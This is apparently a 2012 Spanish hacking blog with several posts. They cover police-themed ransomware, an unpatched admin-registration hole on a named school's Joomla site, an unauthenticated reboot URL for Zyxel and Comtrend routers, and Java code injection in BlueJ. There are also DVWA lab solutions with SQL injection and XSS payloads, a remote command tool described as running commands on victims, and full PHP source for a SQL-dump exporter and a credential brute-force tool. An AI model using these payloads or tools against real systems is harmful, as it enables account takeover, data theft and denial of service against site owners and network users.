martes, 6 de noviembre de 2012

Malware bancario en ordenadores personales


En esta entrada voy a tratar del malware bancario que tan extendido está, y sus variantes. 
A lo largo de esta semana sin ir mas lejos dos familiares me han llamado preocupados por que sus ordenadores no les permitían hacer lo habitual tal que así que las 4 imagenes de esta entrada son las de los escritorios de sus equipos, los dos corrían bajo Windows 7 SP1 con Avira actualizado, que como sucede con otros antivirus, no detectan malware recién salido del horno, ya que no los tienen firmados y en cuanto a heurística todavía se tiene mucho que mejorar. 
Algo que por el contrario en windows 7 no es posible y que se solía utilizar para impedir la utilización habitual del escritorio era el cierre del proceso explorer.exe en Windows XP. Lamentablemente no pude analizar el malware al no disponer del tiempo que ansiaba ni de las herramientas. 
La solución fue entrar al Windows en modo seguro borrar las entradas del registro que iniciaba el malware, ver a donde apuntaba la clave, y así también borrar el ejecutable, seguramente éste apuntaba a otro que sería el malware en sí pero una vez borrado el que se encargaba en caso de cierre de re-iniciarlo ya solo tendría que esperar que el antivirus hiciese su trabajo en un futuro espero que temprano.

Con lo que se encontraron...

Caso 1:
En este primero se ve el logo de la Guardia Civil, implica seriedad, hace pensar a muchos que algo malo haz hecho y que mejor hacer frente al pago de la multa y quitárselo de encima, más aún, si tienes algo pendiente con la justicia, que no es el caso de mi familiar, pero que se pueda dar en muchos otros casos.



Caso 2:
Este me pareció mucho más creíble, mucho mas trabajado, el simple hecho de verte en la aplicación ya que te activaba la cámara imponía mucho más, lo cierto es que este me gusto mucho, se habían trabajado incluso el teclado virtual en la aplicación para hacerte sentir seguro a la hora de escribe el número de tu tarjeta.... En cuanto a lo demás del diseño era prácticamente igual, logo del gobierno de España y de la Guardia Civil, además de una explicación de la ley que incumpliste nada mas y nada menos que la de tener imagenes de menores.
   


Luego, no es de extrañar que encontremos los datos de nuestras tarjetas bancarias en webs dedicadas a la venta de las mismas, como puede ser ésta web, http://cardershop.ru/ . Desde Rusia como mucho amor.

jueves, 25 de octubre de 2012

Vulnerabilidad en fpinnova

A finales del año del ciclo superior, reporté una vulnerabilidad de escalada de privilegios en nuestro http://fpinnova.ieselrincon.org al parecer la versión del joomla era vulnerable permitía a un atacante registrarse como administrador y acceder al panel de administración con dichos privilegios.

La vulnerabilidad residia en:
http://fpinnova.ieselrincon.org/index.php/component/users/?view=registration

Y como en todas sus versiones el panel de administracion estaba alojado en:
http://fpinnova.ieselrincon.org/administrator/

El panel de administración lo más que dejaba hacer era añadir noticias, modificarlas y eliminarlas, la configuración de este estaba por defecto con lo cual no se podia subir ninguna webshell y asi controlar el servidor.

Al final les recomendé que dieran de baja el registro, y se dio de baja el login ... ¬¬  y ahora se produce al intentar loggearse un error 500:
http://fpinnova.ieselrincon.org/index.php/component/users/?task=user.login

pero esta solución se ha quedado corta ya que se puede seguir atacanto de otra forma.

Lo que han dado de baja es la aplicación para loggeo a usuarios. No la aplicación vulnerable en sí, que es donde se registran.
Pero bueno no les importaran que se siga llenando la base de datos de administradores, algo que escapa a mi entender.

Un dia cualquiera

Hace un tiempo detallaba un fallo que daba como resultado el reinicio de los routers Zyxel P-870HW-51A.
http://code-disaster.blogspot.com.es/2011/12/reiniciando-routers-ultimo-modelo-de.html

Hoy estando en clase me dio por hacer un tracert hacia google para ver por donde se paseaba tan solo hasta llegar hasta la ultima subred antes de salir al exterior y quedaba así.

192.168.13.1 <- en esta subred estoy yo y esta es la ip del router, puerto 80 capado.
192.168.3.1 <- y esta es la ip de otro router puerto 80 abierto.
192.168.153.1 <- este es otro router puerto 80 capado.

bien pues pruebo a conectarme al router con el puerto abierto y veo que me solicita user y pass :good: probé unas cuantas por defecto aunque ya de un principio descartaba que fuese tan facil así que vi que el modelo de router era este 'comtrend gigabit 802.11n' diferente del que dispongo en mi casa.

Bien pues probé con el mismo método para el router Zyxel P-870HW-51A que había descubierto y que sin necesidad ni de usuario ni contraseña permitía reiniciarlos y que casualidad que se encontraba el mismo archivo en la misma ubicación que lo reiniciaba, probé 'http://192.168.3.1/rebootinfo.cgi' y al hacerle la petición me redireccionó a otra pagina que me detallaba que ( pasado 2 minutos estaría levanto otra vez el router ) :dance2: , jaja y que, pues hice un ping al router y no me devolvió ninguna respuesta, hice un tracert y tampoco. El caso es que me hubiese encantado contarles que dejé a varias aulas sin red pero resultó que aunque haciéndole el tracert a google y no pasando de la 14.1 seguía teniendo mediante el navegador internet tardó algo mas de lo normal en conectar con google pero recibí la web antes de esos 2 minutos, algo que no me explico.

Le pregunte a mi profesor de red, y al final parece ser que una vez caido este router se busca otra salida através de otro que no me aperecia en el tracert quedando algo asi:


1 192.168.13.1
2 *****
3 *****
4 192.168.153.1 (192.168.153.1)  25.834 ms  26.526 ms  26.210 ms
5  2.red-80-58-122.staticip.rima-tde.net (80.58.122.2)  27.254 ms  26.217 ms  25.968 ms
6  et4-0-0-0-grtmadad1.red.telefonica-wholesale.net (213.140.51.13)  54.982 ms  53.849 ms  53.726 ms

Al final Tibu y yo le dimos una solución denegamos el acceso con el firewall por el puerto 80 a la 3.1 y se terminó ya que ninguna de estas marcas de router me dio solución:

Zyxel:
Mensaje:
Buenos dias,

Muchas gracias por su colaboracion. Vamos a pasar la informacion a nuestro departamento de firmware.

un salqudo
Iván Bernal Villa
Support Engineer & RMA Manager ZyXEL Spain - www.zyxel.es


Comtrend:
llevo 4 semanas esperando su contestación....


Conclusión:
siendo este de otra marca, me ha dado que pensar, cuantas otras marcas utilizan esta misma arquitectura de directorios :g: , comtrend y Zyxel por ahora..., si alguien más lo pudiese probar con sus routers se lo agradecería que me lo dijera.

Salu2!

* Comtrend 96348GW-11 también son vulnerables
* La vulnerabilidad ya se habia dado en otras marcas Huawei HG510 Multiple Vulnerabilities
(pero en este caso necesitabas usuario y contraseña)

martes, 9 de octubre de 2012

JCat Conexión Inversa y Directa

JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.



Aqui les dejo un tutorial con el manejo del mismo http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html
es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.


miércoles, 16 de mayo de 2012

Vulnerabilidad en Bluej Inyección JAVA.


La vulnerabilidad se haya en la ventana donde se envían datos como parámetros que llegan a una clase.
Está vulnerabilidad no se puede explotar remotamente solo de forma manual y gráficamente.
Versión: BlueJ version 3.0.7
Testado: Windows 7 y MAC OS X
Fecha: 2012-05-16


Código de la Clase Inyección







El fallo se produce en la validación de entrada, no de en el método Printf();










Ejemplo de un caso normal









ahora vamos a poner además un punto y coma, que va a significar fin de la instrucción y vemos como nos deja crear el objeto
























voy a crear con JUnit un test de prueba. Para los que no lo saben, es grabar lo que haces gráficamente y luego este se encagar escribe el código pertinente. Y veremos como introduce erróneamente la String + punto y coma.
























lo que me dio a pensar que Bluej no ejecuta el código que estamos viendo en la imagen anterior por que daría un error de sintaxis, y ¿entonces como procesará lo que le enviamos através de la ventana de entrada? Eso queda en el aire…

veamos otro ejemplo donde inyectaremos una instrucción, quedando asi:
String + punto y coma + System.out.println(123);





  






ahí ven como se ejecuta primero el System.out.println(123); inyectado que la instrucción de la clase. Dato a tener en cuenta o  no... bueno sigamos.

ahora un ejemplo mas malévolo jeje.

String + punto y coma + try{Process proc = Runtime.getRuntime().exec("ls -l");java.io.BufferedReader brStdOut = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));String str = null;while ((str = brStdOut.readLine()) != null) {System.out.println(str);}brStdOut.close();}catch(java.io.IOException e){}








y como resultado al igual que antes primero, ejecuta la ultima instruccion, el comando ejecutado, en este caso un ls –l y luego el println() de la clase.

Y el ultimo ejemplo:
Código servidor Java

String + punto y coma +try {int puerto = 5000;java.net.ServerSocket escucha3 = new java.net.ServerSocket(puerto);java.io.BufferedReader br = null;while (true) {java.net.Socket conexion3 = escucha3.accept();java.io.DataInputStream entrada = new java.io.DataInputStream(conexion3.getInputStream());java.io.DataOutputStream salida = new java.io.DataOutputStream(conexion3.getOutputStream());System.out.println("Conexion recibida...");String comando = entrada.readUTF();System.out.println("Mensaje desde Cliente  " + comando);}}catch(java.io.IOException ex) {}






y ahora en otro proyecto un Cliente que conecte al objeto donde se ha inyectado el código, que creará un servidor de conexión directa en el puerto 5000, que solo escribirá lo que envíe un cliente que tengo en otro proyecto mandará.


jueves, 26 de enero de 2012

Web Hacking Techniques 2006 - 2010

Esta entrada va traigo puesto que de ella se puede aprender muchísimo.
son las técnicas de hacking web desde 2006 hasta 2010 de Jeremiah Grossman
fundador de WhiteHat Security. Para el que le atraiga este mundo le vendrá muy bien
tener esta información a mano y ponerla en practica ademas de tomarlas para crear
nuevas técnicas.


Links:

Top Ten Web Hacking Techniques of 2010

Top Ten Web Hacking Techniques of 2009

Top Ten Web Hacking Techniques of 2008

Top Ten Web Hacks of 2007

Top 10 Web Hacks of 2006

domingo, 15 de enero de 2012

DVWA Por MichBukana Level Easy/Medium

Hoy les traigo los resultados de esta herramienta de testeo de vulnerabilidades Tipo Web
y bueno le he dado caña y quería postear aqui las soluciones. si quieren probar les recomiendo
que lo intenten vosotros, las de nivel easy no las pongo por que mmm no tiene ninguna dificultad
para descargar la tool y hacer las pruebas necesitan de un servidor web y luego montar el DVWA


Descarga la aplicación aqui y haz las pruebas:
http://www.dvwa.co.uk/

Brute Force:
//Mi version del Firefox no es compatible con este addon pero bueno ya ven como se bypassea aqui un video:
http://www.youtube.com/watch?v=lmgMXhM01fY


CSRF
level medium
Código:

New password: Confirm new password:

File Include
level medium
Código:
hTTp://127.0.0.1/index.php

-------------------------------------------------
SQL Injection:
level easy
Código:
1' order by 2-- a
1' union select 1,2-- a
1' union select user(),2-- a
1' union select database(),2-- a
1' union select version(),2-- a
1' union select table_name,2 from mysql.tables-- a
1' union select column_name,2 from information_schema.columns where table_name='users'-- a
1' union select concat(User,0x3a,password),2 from users-- a


level medium
Código:
-1/**/union/**/select/**/1,2-- a
-1/**/union/**/select/**/user(),2-- a
-1/**/union/**/select/**/concat(user(),0x3a,database(),0x3a,version()),2-- a
-1/**/union/**/select/**/table_name,2/**/from/**/information_schema.tables-- a
-1/**/union/**/select/**/column_name,2/**/from/**/information_schema.columns/**/where/**/table_name=char(117,115,101,114,115)-- a
-1/**/union/**/select/**/concat(user,0x3a,password),2/**/from/**/users-- a

----------------------------------------------

SQL Injection (Blind)
level medium
Código:
1 or user()=user() and version()=version()
1 || (SELECT Count(*) FROM users)=5
1 || (SELECT Count(user) FROM users)=5
1 || (SELECT LENGTH(password) FROM users WHERE user=char(97,100,109,105,110))=32
1 || (SELECT SUBSTRING((password),1,1) FROM users WHERE user=char(97,100,109,105,110))=5
/* 5 por lo que es integer y no da problema a diferencia con abajo */
1 || (SELECT SUBSTRING((password),1,2) FROM users WHERE user=char(97,100,109,105,110))=char(53,102)
/* Ahora luego como lo siguiente es f quedando asi 5f ya sería integer+varchar y como varchar comprende letas y numeros pues :D */
1 || (SELECT SUBSTRING((password),1,32) FROM users WHERE user=char(97,100,109,105,110))=char(53,102,52,100,99,99,51,98,53,97,97,55,54,53,100,54,49,100,56,51,50,55,100,101,98,56,56,50,99,102,57,57)
/* la pass de admin es 5f4dcc3b5aa765d61d8327deb882cf99 */


Uploader
level medium
Código:
//cambiar el Content-Type de la shell.php por el de la imagen desde httpheader addon firefox modificando las cabezeras enviadas por POST
Content-Type: image/jpeg\r\n\r\n

XSS reflected
level medium
Código:
<body onload=alert(8)>


XSS stored
level medium
Código:
Name:         <input onmouseover="alert(8)" value="
Message:     " />

miércoles, 11 de enero de 2012

Arachni web application vulnerability scanning framework



Requisitos:
  • Mac OS X Lion 10.7.2
  • Xcode 4
  • RVM
  • Ruby 1.9.3
  • Arachni
1. Instalamos Xcode desde la web de Apple

2. despues nos movemos hasta:
    cd /Users/Admin/ 

3. descargamos e instalamos RVM necesario ya que nos servirá para tener ruby en su ultima versión(1.9.3) de una forma sencilla
    curl -s https://rvm.beginrescueend.com/install/rvm -o rvm-installer
    chmod +x rvm-installer
    ./rvm-installer --version latest
 
4. Si la instalación y la configuración salió bien
    type rvm|head -1
    te tiraría esto:
    rvm is a function

5. Ahora nos toca instalar la ultima versión de ruby:
    rvm install 1.9.3-p0 --with-gcc=clang

6. cargamos el source de RVM
    [[ -s "/usr/local/rvm/scripts/rvm" ]] && . "/usr/local/rvm/scripts/rvm"

7. si todo fue bien ya estamos listos para usar la versión 1.9.3
   rvm use 1.9.3
   Respuesta:
   Using /usr/local/rvm/gems/ruby-1.9.3-p0

8. Y comprobamos que tengamos la ultima version en uso
   ruby -v
   ruby 1.9.3p0 (2011-10-30 revision 33570) [x86_64-darwin11.2.0]

9. Actualizamos todas las gemas del sistema:
   gem update --system

10. comprobamos que tengamos instalado la ultima version de SQLite3
   sqlite3 -version

debemos de tener una version superior de la 3.6.12

11. ahora instalamos las gemas de SQLite3 y de Rails:
   gem install sqlite3
   gem install rails

12. verificamos version de rails
   rails -v
   resultado:
   Rails 3.1.3

13. ahora vamos a dejar por defecto el uso de la versión 1.9.3
   rvm --default use 1.9.3
   Respuesta:
   Using /usr/local/rvm/gems/ruby-1.9.3-p0

14. Instalamos el Framework de arachni
   gem install arachni

15. probamos que funcione desde linea de comando
   arachni
   uso:
   arachni http://code-disaster.blogspot.com
   o abriendo el servidor web nos logeamos como root 
   su
   y lanzamos la aplicación
   arachni_web_autostart
   puerto por defecto 4567
   http://localhost:4567/




viernes, 6 de enero de 2012

Exportador Havij PHP by Michb

Este proyecto fue el cual me hizo iniciar el brute force publicado recientemente, en un principio pensé en ponerlos los 2 juntos como un solo proyecto, pero creí que por separado sería mejor.



Funcionalidad:
no es nada complicado básicamente a partir del reporte generado del havij lo que tenemos que hacer
es:
  1. en el primer input poner el nombre de dicho archivo, le damos a 'ver campos' y saldran los nombres de las columnas obtenidas de la inyección sql con su identificador 0, 1, 2, etc.
  2. ahora colocamos en el segundo input el número de la columna a exportar 
  3. y en el tercer input elegimos el nombre del archivo donde se van a extraer los campos de la columna elegida
  4. por ultimo solo faltaría darle a 'exportar'.
tener en cuenta alojar el archivo del havij junto con el exportador.php

opcional: 
con los users a un lado y las passwords a otro, utilizamos el brute force que desarrolle en la entrada anterior.

Codigo Fuente:
<?php




                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*michbukana@indetectables.net*/
                /**__________________________**\
                /******************************/
                






error_reporting(0);

echo base64_decode('CjxodG1sPgo8aGVhZD4KICAgIDxzdHlsZT4KICAgIGJvZHl7Y29sb3I6
Z3JlZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9CiAgICBoMXtjb2xvcjpyZWQ7fQogICAgPC9z
dHlsZT4KCjwvaGVhZD4KPGJvZHk+Cgo8YnIgLz4KPGNlbnRlcj4KICAgIDxiciAvPjxoMT5FeHBv
cnRhZG9yIEhhdmlqPC9oMT48YnIgLz48YnIgLz4KICAgIDxmb3JtIG5hbWU9Zm9ybXUgbWV0aG9k
PSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgRWxpZ2UgZWwgbm9tYnJlIGRlbCBhcmNoaXZvIGRl
bCBjdWFsIHNlIGV4dHJhZXJhbiBsb3MgY2FtcG9zIGRlIGxhIGNvbHVtbmEgZXNjb2dpZGEKICAg
ICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9UmVzdWx0IHZhbHVlPXd3dy5yZW50aW5nd2ViLmVz
Lmh0bWwgc2l6ZT0zMCA+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9JyAgICAgIFZlciBDYW1wb3MgICAgICAnID48L2lucHV0PgogICAgPC9mb3JtPgogICAg
PGZvcm0gbmFtZT1mb3JtdTIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgRXNjb2dl
IGVsIG51bWVybyBkZSBsYSBjb2x1bW5hIGEgZXhwb3J0YXIKICAgICAgICA8aW5wdXQgdHlwZT10
ZXh0IG5hbWU9Y29sdW1uYUUgdmFsdWU9MSBzaXplPTEgPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAg
RWxpZ2UgZWwgbm9tYnJlIGRlbCByZXBvcnRlIGRlbCBoYXZpagogICAgICAgIDxpbnB1dCB0eXBl
PXRleHQgbmFtZT1BcmNoaXZvQUUgdmFsdWU9dXN1YXJpby50eHQgPjwvaW5wdXQ+PGJyIC8+CiAg
ICAgICAgRWxpZ2UgZWwgbm9tYnJlIGRlbCBhcmNoaXZvIGRlbCBjdWFsIHNlIGV4dHJhZXJhbiBs
b3MgY2FtcG9zIGRlIGxhIGNvbHVtbmEgZXNjb2dpZGEKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0
IG5hbWU9UmVzdWx0IHZhbHVlPSI=');
echo @$_POST['Result']; 

echo base64_decode('IiBzaXplPTMwID48L2lucHV0PjxiciAvPgogICAgICAgIDxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWVqZWN1Y2lvbiB2YWx1ZT0xID48L2lucHV0PjxiciAvPgogICAgICAg
IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICAgICAgRXhwb3J0YXIgICAgICAnPjwvaW5wdXQ+
CiAgICA8L2Zvcm0+CjxiciAvPgo=');



//columnaEscogida: columna que vamos a exportar ejemplo usuario o password
//ArchivoAExportar: nombre del archivo generado por el havij
//Resultados: nombre del archivo a crear para los de la columnaEscogida

/*---------------------------------------------------------------------------------*/
$columnaEscogida                = $_POST['columnaE'];
$Resultados                     = $_POST['ArchivoAE'];
$ArchivoAExportar               = $_POST['Result'];

$ejecucion                      = $_POST['ejecucion'];
/*---------------------------------------------------------------------------------*/
$saltolinea = base64_decode('PGJyIC8+');


//$ejecucion                      =1;

$page0 = file_get_contents($ArchivoAExportar);
$NumeroDeColumnaTitulos = substr_count($page0, '#FFFFCE');

    //|<[font color="#DC883D"]+>(.*)|U
    preg_match_all(base64_decode('fDxbZm9udCBjb2xvcj0iI0RDODgzRCJdKz4oLiopPC9bZm9udF0rPnxV'),$page0,$salida, PREG_SET_ORDER);
    
    $i=0;
    while($i<$NumeroDeColumnaTitulos){
        echo ''.$i.' '.$salida[$i][1]. ''.$saltolinea;
        $i++;
    }
    
    
    if($ejecucion==1){
    
        echo $saltolinea.$saltolinea;
        
        $page1 = file_get_contents($ArchivoAExportar);
        $NumeroDeColumnaCampos = substr_count($page1, 'td bgcolor');    
        
        //|<[td bgcolor="#FFF7F2"]+>(.*)|U
        preg_match_all(base64_decode('fDxbdGQgYmdjb2xvcj0iI0ZGRjdGMiJdKz4oLiopPC9bdGRdKz58VQ=='),$page1,$salida1, PREG_SET_ORDER);

        
        $i=3;$j=$columnaEscogida+3;
        
        while($i<($NumeroDeColumnaCampos)){
            
                    $p=fopen($Resultados, 'a+');
                    fwrite($p, $salida1[$j][1]. "\n");
                    fclose($p);

            $j=$j+$NumeroDeColumnaTitulos;
            
            $i++;
        }
        

        $todo = file_get_contents($Resultados);
        $todo = trim($todo);

        $p=fopen($Resultados, 'w+');
        fwrite($p, $todo."\n");
        fclose($p);
        
        echo $saltolinea.$saltolinea.'...Exportacion finalizada';
    }
?>



Salu2!

miércoles, 4 de enero de 2012

Brute Force Attack PHP by Michb



requisitos:
recuerden tener el curl activado en el php.ini

características:
  • prueba usuario a usuario con todas las passwords posibles
  • puedes definir si detectar errores al loggearse de 2 modos
  • métodos de envio de datos POST y GET
  • librería cURL

pueden descargar un ejemplo con los siguientes archivos aqui:
loger.php
usuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php



Codigo del loger.php
<?php
    
    
                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*michbukana@indetectables.net*/
                /**__________________________**\
                /******************************/
                    
    
    
error_reporting(0);
    
echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl
ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg
ICA8c2NyaXB0PgogICAgCgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9
IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3Rl
ZD09dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29k
ZV9SLmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAg
ICBmb3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsK
ICAgICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBm
b3JjZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBP
U1QiIGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBh
dGFjYXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0n
aHR0cDovL2NvZGUtZGlzYXN0ZXIuYmxvZ3Nwb3QuY29tL2FkbWluLnBocCcgc2l6ZT04MD48L2lu
cHV0PjxiciAvPgogICAgICAgIE3pdG9kbyBkZSBlbnZpbyBkZSBkYXRvcyBIVFRQCiAgICAgICAg
PHNlbGVjdCBpZD0nTWV0b2RvJyBuYW1lPU1ldG9kbyA+CiAgICAgICAgICAgIDxvcHRpb24+UE9T
VDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uPkdFVDwvb3B0aW9uPgogICAgICAgIDwvc2Vs
ZWN0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIE1vZG8gZGUgY2Fw
dGFjaW9uIGRlIGVycm9yZXMKICAgICAgICA8c2VsZWN0IGlkPSdNb2RvJyBuYW1lPU1vZG8gb25j
aGFuZ2U9ImNhbWJpbzIoKSI+CiAgICAgICAgICAgIDxvcHRpb24gPjE8L29wdGlvbj4KICAgICAg
ICAgICAgPG9wdGlvbiA+Mjwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PjxiciAvPgogICAgICAg
IE1vZG8gMTogQ29kaWdvIGRlIHJlc3B1ZXN0YQogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1Db2RlX1IgdmFsdWU9MzAyIHNpemU9MT48L2lucHV0PjxiciAvPgogICAgICAgIE1vZG8gMjog
cGFydGUgZGUgbGEgc3RyaW5nIGRldnVlbHRhIGVuIGNhc28gZGUgZXJyb3IKICAgICAgICA8aW5w
dXQgdHlwZT10ZXh0IG5hbWU9QmFkX1MgZGlzYWJsZWQ9ZGlzYWJsZWQgdmFsdWU9aW5jb3JyZWN0
b3M+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBBcmNo
aXZvIGRlIHVzdWFyaW9zIGV4dHJhaWRvcwogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1h
cmNoaXZvVSB2YWx1ZT11c3Vhcmlvcy50eHQ+PC9pbnB1dD48YnIgLz4KICAgICAgICBBcmNoaXZv
IGRlIHBhc3N3b3JkcyBleHRyYWlkYXMKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJj
aGl2b1AgdmFsdWU9cGFzc3dvcmQudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgPGhyIHdpZHRo
PSI3NSUiIC8+CiAgICAgICAgbm9tYnJlIGRlIGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZWwgdXN1
YXJpbyAibG9naW4ucGhwPyd1c3VhcmlvJz14eHgiCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWNhbXBvMSB2YWx1ZT0nJz48L2lucHV0PjxiciAvPgogICAgICAgIG5vbWJyZSBkZSBsYSB2
YXJpYWJsZSBkZWwgZW52aW8gZGUgbGEgcGFzc3dvcmQgImxvZ2luLnBocD8ncGFzc3dvcmQnPXh4
eCIKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2FtcG8yIHZhbHVlPScnPjwvaW5wdXQ+
PGJyIC8+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICAgICBMYW56
YXIgICAgICAnPC9pbnB1dD4KPC9mb3JtPg==');
//mode 1: comprobar user y pass que sean correctas a partir del código de respuesta
    //Code_Responde: codigo de respuesta en caso correcto
//mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error. 
//Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos"
    //Bad_String: la string de la que se habla en el mode 2
        
//metodo: POST o GET
//campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET
    
/*---------------------------------------------------------------------------------*/
    
$url_login              = $_POST['url_log'];
$metodo                 = $_POST['Metodo'];
$mode                   = $_POST['Modo'];
$archivoUsuarios        = $_POST['archivoU'];
$archivoPasswords       = $_POST['archivoP'];
/*---------------------------------------------------------------------------------*/
if(strlen($mode)> 0)echo 'Resultado
'; if($mode==1) $Code_Responde = $_POST['Code_R']; if($mode==2) $Bad_String = $_POST['Bad_S']; $campo1 = $_POST['campo1']; $campo2 = $_POST['campo2']; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,true); curl_setopt ($ch, CURLOPT_HTTPGET, true); $user_agent = file_get_contents('user-agent.txt'); $user = file_get_contents($archivoUsuarios); $pass = file_get_contents($archivoPasswords); preg_match_all('|(.*)\n|U',$user_agent,$U_A); preg_match_all('|(.*)\n|U',$user,$usuario); preg_match_all('|(.*)\n|U',$pass,$password); for($i=0;$i< count($usuario[1]);$i++){ for($j=0;$j< count($password[1]);$j++){ curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]); if($metodo == "POST"){ curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, $campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]); curl_setopt($ch, CURLOPT_URL, $url_login); } if($metodo == "GET"){ $url_login2 = $url_login; $url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]; curl_setopt($ch, CURLOPT_URL, $url_login2); } $result = curl_exec($ch); //código de respuesta 302 en caso de introducir datos correctos $saltolinea = base64_decode('PGJyIC8+'); if($mode==1) if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302" && strpos($result,'PHPSESSID')) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; if($mode==2) if(strpos($result, $Bad_String)===false ) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; } } ?>